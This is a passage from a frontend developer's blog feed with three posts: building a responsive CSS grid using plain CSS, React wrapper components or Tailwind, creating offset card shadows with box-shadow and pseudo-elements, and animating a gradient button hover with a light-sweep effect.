        &lt;td&gt;xl&lt;/td&gt;
        &lt;td&gt;1600px&lt;/td&gt;
        &lt;td&gt;-&lt;/td&gt;
        &lt;td&gt;12&lt;/td&gt;
        &lt;td&gt;&amp;gt;180px&lt;/td&gt;
        &lt;td&gt;24px&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;A grid system with these specifications is surprisingly straightforward to implement with CSS grid.&lt;/p&gt;
&lt;h3&gt;Option 1: Just write the CSS&lt;/h3&gt;
&lt;p&gt;The rationale for this approach is that the grid would inform where everything on the application would sit within the interface. Hence, it could live in the &lt;strong&gt;global stylesheet&lt;/strong&gt; that gets loaded everywhere, since the expectation is that it would be used everywhere.&lt;/p&gt;
&lt;p&gt;Grid, like Flexbox, introduces the concept of a parent-child relationship between the grid container and its items.&lt;/p&gt;
&lt;p&gt;All of the specifications from the table above would be defined on the grid container, while placement of items within the grid can be assigned to each individual grid item (if necessary) or be auto-placed by the browser.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.grid {
  min-width: 320px;
  max-width: 1600px;
  display: grid;
  grid-template-columns: repeat(4, 1fr);
  gap: 1em;
  margin-left: 16px;
  margin-right: 16px;
}

@media screen and (min-width: 640px) {
  .grid {
    grid-template-columns: repeat(8, 1fr);
    margin-left: 30px;
    margin-right: 30px;
  }
}

@media screen and (min-width: 900px) {
  .grid {
    grid-template-columns: repeat(12, 1fr);
    margin-left: 50px;
    margin-right: 50px;
  }
}

@media screen and (min-width: 1200px) {
  .grid {
    gap: 1.5em;
    margin-left: 90px;
    margin-right: 90px;
  }
}

@media screen and (min-width: 1600px) {
  .grid {
    margin-left: 180px;
    margin-right: 180px;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This approach allows the item placement code to go on the component styles. And if there are common placement patterns that recur very often in the design, then you could consider having some pre-written styles to cater to those situations.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.grid__item--full,
.grid__item--half,
.grid__item--third,
.grid__item--quarter {
  grid-column: 1 / -1;
}

@media screen and (min-width: 640px) {
  .grid__item--quarter {
    grid-column: span 4;
  }
}

@media screen and (min-width: 900px) {
  .grid__item--half {
    grid-column: span 6;
  }

  .grid__item--third {
    grid-column: span 4;
  }

  .grid__item--quarter {
    grid-column: span 3;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And if you do need some custom placement, those styles could be part of the component styles like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.custom-thingy {
  grid-column: 1 / -1;
  font-size: var(--step-1);
}

@media screen and (min-width: 640px) {
  .custom-thingy {
    grid-column: 1 / 6;
    padding-top: 2em;
    padding-bottom: 1em;
  }
}

@media screen and (min-width: 900px) {
  .custom-thingy {
    grid-column: 1 / 7;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Option 2: Container and Item components&lt;/h3&gt;
&lt;p&gt;Another approach is to have wrapper components for the container and item respectively. This means the grid code is tied to the wrapper components instead of being loaded in the global stylesheet.&lt;/p&gt;
&lt;p&gt;I ran into some specificity issues with this approach with CSS modules that I managed to workaround relatively painlessly, but it &lt;em&gt;is&lt;/em&gt; something to take note of.&lt;/p&gt;
&lt;p&gt;The setup involves creating a Grid component and a Col component and their corresponding stylesheets.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;src/
  └── components/
      ├── Col/
      │   ├── Col.module.css
      │   └── Col.tsx
      └── Grid/
          ├── Grid.module.css
          └── Grid.tsx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These components don&apos;t do much other than provide grid-related styling, so they&apos;re not very big or complicated. They have props for passing custom class names, modifying the element tag (which defaults to &lt;code&gt;div&lt;/code&gt;) but generally does not restrict users from passing in other props either.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Grid.tsx&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;import { ReactNode, createElement } from &amp;quot;react&amp;quot;;
import styles from &amp;quot;./Grid.module.scss&amp;quot;;

interface GridProps extends React.HTMLProps&amp;lt;HTMLElement&amp;gt; {
  className?: string;
  children: ReactNode;
  tag?: keyof JSX.IntrinsicElements;
}

export default function Grid({ className = &amp;quot;&amp;quot;, children, tag = &amp;quot;div&amp;quot;, ...props }: GridProps) {
  const Wrapper = tag;
  return createElement(
    Wrapper,
    {
      className: `${styles.grid} ${className}`,
      ...props,
    },
    children
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Col.tsx&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;import { ReactNode, createElement } from &amp;quot;react&amp;quot;;
import cn from &amp;quot;classnames&amp;quot;;
import styles from &amp;quot;./Col.module.scss&amp;quot;;

interface ColProps extends React.HTMLProps&amp;lt;HTMLElement&amp;gt; {
  className?: string;
  children: ReactNode;
  colWidth?: &amp;quot;full&amp;quot; | &amp;quot;half&amp;quot; | &amp;quot;third&amp;quot; | &amp;quot;quarter&amp;quot;;
  tag?: keyof JSX.IntrinsicElements;
}

export default function Col({
  className = &amp;quot;&amp;quot;,
  children,
  colWidth,
  tag = &amp;quot;div&amp;quot;,
  ...props
}: ColProps) {
  const Wrapper = tag;

  return createElement(
    Wrapper,
    {
      className: cn(className, { [styles[`${colWidth}`]]: colWidth }),
      ...props,
    },
    children
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The styles would be the same as in option 1 but because this approach uses CSS modules, you can sort of be more “casual” with naming your classes? The grid container styles are literally exactly the same as option 1, while the item classes can look like this or however you like to name them:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Col.module.css&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.full,
.half,
.third,
.quarter {
  grid-column: 1 / -1;
}

@media screen and (min-width: 640px) {
  .quarter {
    grid-column: span 4;
  }
}

@media screen and (min-width: 900px) {
  .half {
    grid-column: span 6;
  }

  .third {
    grid-column: span 4;
  }

  .quarter {
    grid-column: span 3;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The issue I ran into when using these components was that, if I wanted to override the pre-written item styles, I had to bump the specificity of my component styles up a little bit because CSS modules loaded the component styles &lt;em&gt;before&lt;/em&gt; the wrapper styles. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I like to keep specificity low in general, so I went with bumping up by 1 element tag&apos;s worth.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;p.customThingy {
  grid-column: 1 / -1;
  font-size: var(--step-1);
}

@media screen and (min-width: 640px) {
  p.customThingy {
    grid-column: 1 / 6;
    padding-top: 2em;
    padding-bottom: 1em;
  }
}

@media screen and (min-width: 900px) {
  p.customThingy {
    grid-column: 1 / 7;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If someone more knowledgeable has advice on a better way of dealing with this style loading order, please let me know.&lt;/p&gt;
&lt;h3&gt;Option 3: Using Tailwind classes&lt;/h3&gt;
&lt;p&gt;This may or may not be a spicy option. I&apos;ll be up front about this, I do not think the way Tailwind does CSS is ideal. The major issue I have with Tailwind is, if you use it the way it was intended, the cascade is almost completely negated.&lt;/p&gt;
&lt;p&gt;It is called Cascading Stylesheets for a reason. Maybe call it “Tailwind SS” instead? That being said, I&apos;m not a very dogmatic person. I may write a longer Tailwind-specific blog post in future (but do I really want Opinionated tech bros telling me why I&apos;m very very wrong?), we&apos;ll see.&lt;/p&gt;
&lt;p&gt;For now, I accept the reality that there are quite a number of teams that use Tailwind CSS in their applications and it&apos;s working well for them. That&apos;s great. What if those teams want to use CSS grid? Well, it is absolutely doable.&lt;/p&gt;
&lt;p&gt;Even though I&apos;m not a big fan of how the CSS is being done in Tailwind, I must admit its build process is very solid and the documentation is also great. Tailwind has exposed almost every API possible for you to modify the default configuration to suit your custom specifications.&lt;/p&gt;
&lt;p&gt;So the grid specification can be set up like so (abstracted to just show the breakpoints):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;module.exports = {
  theme: {
    screens: {
      xs: &amp;quot;320px&amp;quot;,
      sm: &amp;quot;640px&amp;quot;,
      md: &amp;quot;900px&amp;quot;,
      lg: &amp;quot;1200px&amp;quot;,
      xl: &amp;quot;1600px&amp;quot;,
      maxSm: { max: &amp;quot;639px&amp;quot; },
      maxMd: { max: &amp;quot;899px&amp;quot; },
      btwSmMd: { min: &amp;quot;640px&amp;quot;, max: &amp;quot;899px&amp;quot; },
    },
  },
  prefix: &amp;quot;tw-&amp;quot;,
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You would then have to apply these classes to your component accordingly:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;export default function Option3() {
  return (
    &amp;lt;section className=&amp;quot;tw-grid xs:tw-grid-cols-4 sm:tw-grid-cols-8 md:tw-grid-cols-12 xs:tw-gap-3 lg:tw-gap-4 xs:tw-mx-3 sm:tw-mx-[30px] md:tw-mx-[50px] lg:tw-mx-[90px] xl:tw-mx-[180px]&amp;quot;&amp;gt;
      &amp;lt;p className=&amp;quot;tw-col-span-full&amp;quot;&amp;gt;Full width&amp;lt;/p&amp;gt;
      &amp;lt;p className=&amp;quot;tw-col-span-full md:tw-col-span-6&amp;quot;&amp;gt;Half width&amp;lt;/p&amp;gt;
      &amp;lt;p className=&amp;quot;tw-col-span-full md:tw-col-span-4&amp;quot;&amp;gt;Third width&amp;lt;/p&amp;gt;
      &amp;lt;p className=&amp;quot;tw-col-span-full md:tw-col-span-3&amp;quot;&amp;gt;Quarter width&amp;lt;/p&amp;gt;
    &amp;lt;/section&amp;gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&apos;m sure the Tailwind experts have come up with something to abstract regularly used combinations of classes into something else but this is the most basic version and it achieves the same end result as the other options.&lt;/p&gt;
&lt;h3&gt;Code and demo&lt;/h3&gt;
&lt;p&gt;If you&apos;d like to see how the code performs in an actual design, you can check out this CodeSandbox:
&lt;a href=&quot;https://codesandbox.io/s/enterprise-css-grid-vnjozr&quot;&gt;https://codesandbox.io/s/enterprise-css-grid-vnjozr&lt;/a&gt;&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/enterprise-css/mockup-480.jpg 480w, /images/posts/enterprise-css/mockup-640.jpg 640w, /images/posts/enterprise-css/mockup-960.jpg 960w, /images/posts/enterprise-css/mockup-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/enterprise-css/mockup-640.jpg&quot; alt=&quot;Imaginary hotel website mockup&quot;&gt;
&lt;p&gt;I put the code on Github: &lt;a href=&quot;https://github.com/huijing/enterprise-css-grid&quot;&gt;https://github.com/huijing/enterprise-css-grid&lt;/a&gt;, since I found that if you try to clone the CodeSandbox, you don&apos;t get the container version (which you want for Tailwind styles to compile properly).&lt;/p&gt;
&lt;h2&gt;The people problem&lt;/h2&gt;
&lt;p&gt;I only proposed 3 options but I&apos;m sure there are more possible approaches to writing styles. Are any one of these approaches the “correct” one or the “best” one? The answer is a resounding &lt;strong&gt;NO&lt;/strong&gt;. At least, not without taking into account the context in which the code needs to be used.&lt;/p&gt;
&lt;p&gt;Technically, every approach does the job. The level of difficulty of the technical implementation sometimes pale in comparison to the issues and considerations around code organisation, maintainability and developer experience. Especially for larger teams.&lt;/p&gt;
&lt;p&gt;There is always the chance that someone from above you in the hierarchy “mandates” that you use a certain technology. Have I heard some executive (who used to code) say “I could have built this myself in a day with INSERT*SUGGESTED_LIBRARY_HERE”? Well, yes. &lt;span class=&quot;kaomoji&quot;&gt;( ⚆ * ⚆ )&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Sometimes there are things out of your control. And that&apos;s okay. But in those instances you are able to influence technical decisions, I think is more important during the assessment process is to ask the following questions:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Are there preferred technologies used within the organisation?&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;How is big is your application and how is it structured?&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Are there cases where code is contributed by new developers often?&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Who is responsible for the maintenance and development of new components or pages on the application?&lt;/li&gt;
  &lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Is it a small team of full-time developers overseeing the entire project?&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Is it numerous teams responsible for their own respective set of components and pages?&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;What is the overall CSS skill level of the developers contributing to the codebase?&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;What is the overall React skill level of the developers contributing to the codebase?&lt;/li&gt;
  &lt;/ul&gt;
  &lt;li&gt;How flexible does the design system need to be? Can a small set of components cater for most of the use cases? Or do bespoke requirements come up a lot?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On-boarding folks onto a new codebase is not a trivial matter. And it does help if we can articulate and document the reasons behind why certain decisions were made. Having this “paper trail” will also make it easier to clear off technical debt, especially if something was done due to a circumstance/constraint that no longer exists.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Well, that&apos;s about all I have for now. If you thought that CSS is just a simple annoyance that&apos;s getting in your way of writing “real code”, you&apos;re probably not reading this article right now, eh? But seriously, I think CSS at scale is an interesting problem to reason about.&lt;/p&gt;
&lt;p&gt;The future is impossible to predict. We do need to find a balance between trying to cater for all possible scenarios versus building for the most obvious use-case.&lt;/p&gt;
&lt;p&gt;In a large organisation, it&apos;s common for us to focus only on our small part, but we do need an awareness of the bigger picture to ensure our decisions don&apos;t cause major problems down the road.&lt;/p&gt;
</content:encoded></item><item><title>CSS card shadow effects</title><link>https://chenhuijing.com/blog/css-card-shadow-effects/</link><guid isPermaLink="true">https://chenhuijing.com/blog/css-card-shadow-effects/</guid><description>Card-style components are pretty much still a thing these days, and there are many ways to make a bunch of identical rectangles look prettier. I&apos;m quite fond…</description><pubDate>Mon, 13 Jun 2022 23:54:25 GMT</pubDate><content:encoded>&lt;p&gt;Card-style components are pretty much still a thing these days, and there are many ways to make a bunch of identical rectangles look prettier. I&apos;m quite fond of the pop art, or maybe it&apos;s more of a comic book style art direction that uses thick bold outlines and bright colours.&lt;/p&gt;
&lt;p&gt;So the look and feel we are going for looks something like the image below:&lt;/p&gt;
&lt;img src=&quot;/images/posts/shadow-effect/design.png&quot; srcset=&quot;/images/posts/shadow-effect/design@2x.png 2x&quot; alt=&quot;2 cards with shadow effects&quot; /&gt;
&lt;p&gt;Specifics of the design for the larger shadow are as follows (extracted from Figma):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;/* Card */
height: 240px;
width: 160px;
left: 260px;
top: 0px;
border-radius: 8px;

position: absolute;
width: 160px;
height: 240px;

background: #ffffff;
border: 4px solid #1f1f1f;
border-radius: 8px;

/* Shadow */
height: 240px;
width: 160px;
left: 274px; /* Indicates shadow is offset on x-axis by 14px */
top: 14px; /* Indicates shadow is offset on y-axis by 14px */
border-radius: 8px;

position: absolute;
width: 160px;
height: 240px;

background: #ffd700;
border: 4px solid #1f1f1f;
border-radius: 8px;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To summarise in words, the card has a solid 4px border and a border-radius of 8px, and the card&apos;s shadow too has a solid 4px border with 8px border-radius and is offset from the card by 14px on both the x and y axes.&lt;/p&gt;
&lt;p&gt;At first, I thought this would be quite easy, because I had used multiple box shadows before to great satisfaction (see Codepen below, specifically the pattern of dots on the first 3 albums):&lt;/p&gt;
&lt;p class=&quot;codepen&quot; data-height=&quot;548&quot; data-default-tab=&quot;result&quot; data-slug-hash=&quot;QGKMjX&quot; data-user=&quot;huijing&quot; style=&quot;height: 548px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;&quot;&gt;
  &lt;span&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/QGKMjX&quot;&gt;
  Tycho Album Artwork - Scroll Snap&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;My idea was to use 2 box shadows to create the coloured shadow and the border for the coloured shadow.&lt;/p&gt;
&lt;h2&gt;But first, let&apos;s review &lt;code&gt;box-shadow&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;The full syntax for the &lt;code&gt;box-shadow&lt;/code&gt; property can take 2-4 length values, an optional colour and an optional inset keyword. The length values represent the &lt;em&gt;x-offset&lt;/em&gt;, the &lt;em&gt;y-offset&lt;/em&gt;, the &lt;em&gt;blur-radius&lt;/em&gt; and the &lt;em&gt;spread-radius&lt;/em&gt;, in that specific order.&lt;/p&gt;
&lt;p&gt;Here&apos;s the bit that will probably make you check the documentation if you do not use &lt;code&gt;box-shadow&lt;/code&gt; often:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If you use 2 length values, they mean the x-offset and the y-offset respectively, while the other 2 values default to 0.&lt;/li&gt;
&lt;li&gt;If you use 3 length values, they mean the x-offset, the y-offset and the blur-radius respectively, while the spread-radius defaults to 0.&lt;/li&gt;
&lt;li&gt;If you use 4 length values, they mean the x-offset, the y-offset, the blur-radius and the spread-radius.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Multiple box shadows are also possible, as long as you separate each box shadow with a comma like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;div {
  box-shadow: 4px 4px coral, 6px 6px olive, 8px 8px dodgerblue;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Attempt 1: box-shadow but not quite right&lt;/h2&gt;
&lt;p&gt;Okay, so we&apos;re trying to do a card with a solid 4px border and a border-radius of 8px, and a shadow which also has a solid 4px border with 8px border-radius and is offset from the card by 14px on both the x and y axes.&lt;/p&gt;
&lt;p&gt;My first attempt looked like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.card {
  height: 300px;
  width: 200px;
  border: 4px solid black;
  border-radius: 8px;
  box-shadow: 18px 18px 0 0 gold, 18px 18px 0 4px black;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;height:300px;width:200px;border:4px solid black;border-radius:8px;margin:auto;display:flex;align-items:center;text-align:center;margin-bottom:2em;box-shadow:18px 18px 0 0 gold, 18px 18px 0 4px black;&quot;&gt;Using box-shadow but a bit wrongly&lt;/div&gt;
&lt;p&gt;You might have noticed that the border-radius on the shadow does not match that of the card. This is because the second shadow that I added for the black border which used a 4px spread-radius expanded the shadow beyond the original size of the card.&lt;/p&gt;
&lt;p&gt;Now, if there were no rounded corners on the cards, this wouldn&apos;t be an issue at all, but it is what it is. And this discrepancy in border-radius was a little too visible for this approach to be acceptable.&lt;/p&gt;
&lt;h2&gt;Attempt 2: positioned pseudo-element&lt;/h2&gt;
&lt;p&gt;Onto the next try! There are more tricks up my card shadow sleeve. Let&apos;s go with the pseudo-element approach then. The gist is to style the pseudo-element to look exactly like the card except with a different background colour and positioned below the card.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.card {
  position: relative;
  background: white;
  transform-style: preserve-3d;
}

.card::before {
  content: &amp;quot;&amp;quot;;
  position: absolute;
  height: 100%;
  width: 100%;
  border: 4px solid black;
  background-color: gold;
  bottom: -18px;
  right: -18px;
  border-radius: 8px;
  transform: translateZ(-1px);
  box-sizing: content-box; /* Only if you have some reset that makes everything border-box */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;style&gt; 
  .pseudo::before {
    content: &apos;&apos;;
    position: absolute;
    height: 100%;
    width: 100%;
    border: 4px solid black;
    background-color: gold;
    bottom: -18px;
    right: -18px;
    border-radius: 8px;
    transform: translateZ(-1px);
    box-sizing: content-box;
  }
&lt;/style&gt;
&lt;div class=&quot;pseudo&quot; style=&quot;height:300px;width:200px;border:4px solid black;border-radius:8px;margin:auto;display:flex;align-items:center;text-align:center;margin-bottom:2em;position:relative;background-color:white;transform-style:preserve-3d&quot;&gt;Using pseudo-element&lt;/div&gt;
&lt;p&gt;The interesting part here was the &lt;code&gt;transform: translateZ(-1px)&lt;/code&gt; on the card and the &lt;code&gt;transform: translateZ(-1px)&lt;/code&gt; on the pseudo-element shadow. This is to ensure that the card shadow always renders behind the card itself.&lt;/p&gt;
&lt;p&gt;I did try using just &lt;code&gt;z-index: -1&lt;/code&gt; but somehow it worked in Codepen but not on this live example above. I probably need to dig into the root cause but let&apos;s use the transform trick for now.&lt;/p&gt;
&lt;h2&gt;Attempt 3: box-shadow with inset&lt;/h2&gt;
&lt;p&gt;A colleague of mine felt that the pseudo-element could be simplified with box-shadow, and when I told him the issue I ran into, he proposed this alternative:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.card {
  box-shadow: 14px 14px 0 -4px gold, 14px 14px 0 0 black;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since my problem was that the shadow border was growing beyond the original size of the card, that meant that the border should be the “limit” of the card shadow. Its spread radius should be 0. This meant that we ought to use a negative value for the solid colour needed in the card shadow.&lt;/p&gt;
&lt;div style=&quot;height:300px;width:200px;border:4px solid black;border-radius:8px;margin:auto;display:flex;align-items:center;text-align:center;margin-bottom:2em;box-shadow:14px 14px 0 -4px gold, 14px 14px 0 0 black;&quot;&gt;Using box-shadow correctly this time&lt;/div&gt;
&lt;p&gt;And voila! Problem solved. Code became much shorter again, and all is well with the world.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Honestly, it did not occur to me to use a negative value for the box-shadow at all. But now that I know about this approach, I cannot unsee it. It&apos;s nice to discover new techniques on established CSS properties. Especially when so many new things are on the horizon.&lt;/p&gt;
&lt;p&gt;Also, I just came back from &lt;a href=&quot;https://cssday.nl/2022&quot;&gt;CSS Day 2022&lt;/a&gt; and boy was it inspiring to meet my favourite CSS folks in real life. Trust me when I say I was more inspired in the first 3 hours of the conference than I had been since COVID started and things shut down.&lt;/p&gt;
&lt;p&gt;Anyhoo, I might have some mildly spicy opinions and ideas in the upcoming posts, so stay tuned if you feel like it, I guess? &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;hot pepper&quot;&gt;🌶️&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>CSS animation on button hover state</title><link>https://chenhuijing.com/blog/css-animation-on-button-hover-state/</link><guid isPermaLink="true">https://chenhuijing.com/blog/css-animation-on-button-hover-state/</guid><description>Recently, I came across an animation prototype on a button hover state and wanted to see if I could build it with just CSS. To explain in words, when you…</description><pubDate>Mon, 23 May 2022 06:26:56 GMT</pubDate><content:encoded>&lt;p&gt;Recently, I came across an animation prototype on a button hover state and wanted to see if I could build it with just CSS. To explain in words, when you hovered over the pill-shaped button, the background changed from a plain white background to a nice coloured gradient, and there was a light sweep effect across the button.&lt;/p&gt;
&lt;p&gt;I have a standard approach to building any design with CSS, and that is to break things down into smaller bits. First, there&apos;s the button itself when nobody is interacting with it. Then, there&apos;s that gradient transition, and the final flourish is the light sweep effect.&lt;/p&gt;
&lt;h2&gt;The pill-shape&lt;/h2&gt;
&lt;p&gt;For the pill-shape, we call upon the trusty &lt;code&gt;border-radius&lt;/code&gt; property. The value itself represents the radius of the circle at the corner of the box which affects how large the round corner is going to be. This is why when we set a &lt;code&gt;border-radius&lt;/code&gt; value of 50% on a square box, we can get a perfect circle.&lt;/p&gt;
&lt;img src=&quot;/images/posts/button-hover/perfect-circle.png&quot; srcset=&quot;/images/posts/button-hover/perfect-circle@2x.png 2x&quot; alt=&quot;Diagram showing how border-radius:50% forms a perfect circle when used on a square box&quot; /&gt;
&lt;p&gt;Anyway, for the pill-shape, setting the &lt;code&gt;border-radius&lt;/code&gt; to half of the height of the element should do the trick.&lt;/p&gt;
&lt;p&gt;My CSS looks like this for now:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;button {
  padding: 0.75em 1.5em;
  background-color: white;
  border: 2px solid;
  font-size: larger;
  border-radius: 1.65em;
  cursor: pointer;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The background gradient transition&lt;/h2&gt;
&lt;p&gt;Unfortunately, the &lt;code&gt;background-image&lt;/code&gt; property is not animatable. If you check the section about &lt;code&gt;background-image&lt;/code&gt; in &lt;a href=&quot;https://www.w3.org/TR/css-backgrounds-3/#background-image&quot;&gt;CSS Backgrounds and Borders Module Level 3&lt;/a&gt;, you&apos;ll see that the animation type is &lt;em&gt;discrete&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This means that the animation will proceed from one keyframe to the next one &lt;strong&gt;without&lt;/strong&gt; any interpolation, which is required for a smooth transition between states.&lt;/p&gt;
&lt;p&gt;There is a workaround for this problem though, which makes use of pseudo-elements. Set the gradient on a pseudo-element of the button, then animate the opacity of that pseudo-element to make the background transition into a gradient background.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;button {
  padding: 0.75em 1.5em;
  background-color: white;
  border: 2px solid;
  font-size: larger;
  border-radius: 1.65em;
  cursor: pointer;
  position: relative;
  overflow: hidden;
  z-index: 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I added a &lt;code&gt;position: relative&lt;/code&gt; to the button to ensure that my pseudo-element is positioned inside the button. The &lt;code&gt;overflow: hidden&lt;/code&gt; is to make sure the corners of the pseudo-element don&apos;t peek out of the rounded corners, and the &lt;code&gt;z-index&lt;/code&gt; ensures that the pseudo-element is below the content of the button.&lt;/p&gt;
&lt;p&gt;For the pseudo-element itself, my CSS looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;button::before {
  position: absolute;
  content: &amp;quot;&amp;quot;;
  top: 0;
  right: 0;
  bottom: 0;
  left: 0;
  background-image: linear-gradient(to left, tomato 0%, salmon 25%, peachpuff 100%);
  z-index: -1;
  transition: opacity 240ms linear;
  opacity: 0;
}

button:hover::before {
  opacity: 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The light sweep effect&lt;/h2&gt;
&lt;p&gt;For the light sweep effect, I need the other pseudo-element as well. Depending on how the light sweep is designed, the CSS for this can be vastly different. I&apos;m not a very creative person, so I&apos;ll just go with a thin vertical white line with blurry edges to look like light.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;button::after {
  content: &amp;quot;&amp;quot;;
  height: 150%;
  width: 0.25em;
  background-color: #fff;
  box-shadow: 0px 0px 8px 4px #fff;
  transform: translateX(-1em);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And for the animation, I just want my light line to sweep across horizontally from left to right when someone hovers over the button.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;button:hover::after {
  animation-duration: 300ms;
  animation-name: sweep;
}

@keyframes sweep {
  from {
    transform: translateX(-1em);
  }
  to {
    transform: translateX(12.5em);
    animation-timing-function: ease-out;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is why it would be good to work with a motion designer, or someone who&apos;s familiar with animation timings to tweak the things until it looks good. Depending on the design, you could even use an SVG as a background image for the sweep shape instead of a vertical line. Lots of options available.&lt;/p&gt;
&lt;p&gt;If you&apos;re interested to see the full code in action, here&apos;s the Codepen:&lt;/p&gt;
&lt;p class=&quot;codepen&quot; data-height=&quot;300&quot; data-default-tab=&quot;html,result&quot; data-slug-hash=&quot;OJQjoxB&quot; data-user=&quot;huijing&quot; style=&quot;height: 300px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;&quot;&gt;
  &lt;span&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/OJQjoxB&quot;&gt;
  Bling button ✨&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/span&gt;
&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Personally, building out animations with CSS is really fun. And even though you might not be able to do really complex line animations with only CSS alone, I find that there a number of animation properties that most people hardly ever use.&lt;/p&gt;
&lt;p&gt;I myself only discovered them in depth a couple years ago when I tried to animate the unofficial Talk.CSS mascot, Kittencorn. I wrote that one up in &lt;a href=&quot;/blog/figuring-out-css-animation-with-magic-kittencorn&quot;&gt;Figuring out CSS animation properties with a magic kittencorn&lt;/a&gt;.&lt;/p&gt;
